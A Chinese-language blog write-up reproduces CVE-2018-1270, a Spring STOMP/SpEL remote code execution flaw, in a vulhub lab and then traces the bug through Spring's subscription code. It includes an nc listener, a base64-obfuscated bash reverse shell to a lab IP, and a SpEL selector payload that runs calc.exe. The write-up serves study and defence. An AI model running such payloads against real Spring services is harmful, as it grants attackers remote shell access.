記一次曲折的CVE-2018-1270復現分析
前言
前兩天接到朋友對某個授權目標的漏掃結果,也算是初次接觸到這個漏洞,就想著順手分析一下復現一下,因為分析這個漏洞的文章也比較少,所以剛開始比較迷,進度也比較慢。
漏洞復現
使用vulhub搭建環境,下載vulhub
git clone //github.com/vulhub/vulhub.git
spring目錄下有docker鏡像直接啟起來
sudo docker-compose up -d
訪問8080埠即可查看
環境搭建ok,其實這裡使用構造的payload不知道為什麼不可以,稍後嘗試,先使用exp去執行,在環境中剛好有exp,我們只需要修改目標ip
修改執行的命令
執行EXP
進入docker容器查看是否成功生成數據
ocker exec -it 1f699e14e /bin/bash
驗證EXP成功利用,這裡嘗試一下反彈shell,在另一台終端監聽一個埠
nc -lvp 9999
修改EXP
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
得到容器的shell
由於在線編碼的平台不能使用,所以需要自己做一下base64的編碼然後再解碼,但是這裡為什麼直接反彈的shell不能夠執行呢?
是因為管道符、輸入輸出重定向,只有在bash環境下才能用。由於項目環境為Java環境不支援管道符、輸入輸出重定向等。重定向和管道符的使用方式在正在啟動的進程的中沒有意義。例如ls > 1.txt
在shell中執行為將當前目錄的列表輸出到命名為 1.txt
。但是在 exec()
函數的中,該命令為解釋為獲取 >
和 1.txt
目錄的列表。
下載源碼
wget //github.com/spring-guides/gs-messaging-stomp-websocket.git
新建項目導入pom.xml文件搭建環境,配置配置文件
運行本地已搭建
本地搭建目的是方便調試。
修改程式碼位置
src->main->resources->static->app.js
修改connect方法
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
保存後重新運行,Websocket連接,send發送任意資訊即可觸發calc.exe
分析
本地windows的觸發條件更能清楚的理解,exec中程式碼執行的條件是由於建立socket通訊之後發送資訊的時候觸發的,這裡通過下斷點來調試
首先先了解幾個概念,沒有java框架開發經驗的話確實很讓人頭疼,SpEL表達式,是Spring表達式的簡寫,能夠以一種強大而簡潔的方式將值裝配到Bean屬性和構造器參數中,在這個過程中所使用的表達式會在運行時計算得到值。簡單理解就是利用簡單的表達形式來實現操作。
SpEL支援如下表達式:
-
基本表達式:字面量表達式、關係,邏輯與算數運算表達式、字元串連接及截取表達式、三目運算及Elivis表達式、正則表達式、括弧優先順序表達式;
-
類相關表達式:類類型表達式、類實例化、instanceof表達式、變數定義及引用、賦值表達式、自定義函數、對象屬性存取及安全導航表達式、對象方法調用、Bean引用;
-
集合相關表達式:內聯List、內聯數組、集合,字典訪問、列表,字典,數組修改、集合投影、集合選擇;不支援多維內聯數組初始化;不支援內聯字典定義;
-
其他表達式:模板表達式。
STOMP協議
STOMP是一個簡單的可互操作的基於幀的協議, 作用於中間伺服器在客戶端之間進行非同步消息傳遞,STOMP協議基於TCP協議,類似於HTTP協議,使用了以下命令:
CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT
Ctrl+N
根據披露的漏洞位置,直接搜索問題類DefaultSubscriptionRegistry
在Protected屬性addSubscriptionInternal方法中,定義了selectorHeaderInUse的屬性為true
95行的時候把四個參數,sessinId,subsId,destination(訂閱地址(“/topic/greetings”)以及expression添加進subscriptionRegistry屬性中。
app.js修改的程式碼位置為
var header = {“selector”:”T(java.lang.Runtime).getRuntime().exec(‘calc.exe’)”};
private屬性中的filterSubscriptions方法在什麼時候會觸發呢?下斷點調試會發現,在send發送資訊的時候會傳入message參數,這個時候就會調用前端傳入的selector構造的內容即SpEL表達式的內容,從第二種的復現方式來看就是這樣的,但是在調試的時候正常的利用是首先觸發
118行調用findSubscriptionsInternal函數
ctrl+N向上查找函數
在AbstractSubscriptionRegistry類中找到了在滿足else的時候調用了findSubscriptionsInternal函數,可能在這裡也許有師傅有點困惑,在這裡我們需要明白的是參數destination(訂閱地址)和參數message(含有SpEL表達式即payload)的內容。
但是這裡有個疑問,那麼哪裡利用到了STOMP協議的內容呢?
上文提到了STOMP協議的命令,裡面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector頭值會作為表達式存儲,在實現addSubscriptionInternal方法的方法生成sessionID的時候表達式已經實現了存儲。
這個時候就很明顯了,seesionid的生成就涉及到了websocket實現客戶端和伺服器之間的交互
到這裡分析就結束了,但是函數調用以及漏洞觸發的原因已經分析的比較清楚了。
小結
Java的東西忘記的差不多了,IDEA的快捷鍵都給忘了,突然分析起來很頭大,可參考的內容也比較少,走的坑也比較多吧,有問題的地方歡迎師傅們指正。
參考文章
//mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVg
//mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Q
//www.jianshu.com/p/ae3922db1f70
更多靶場實驗練習、網安學習資料,請點擊這裡>>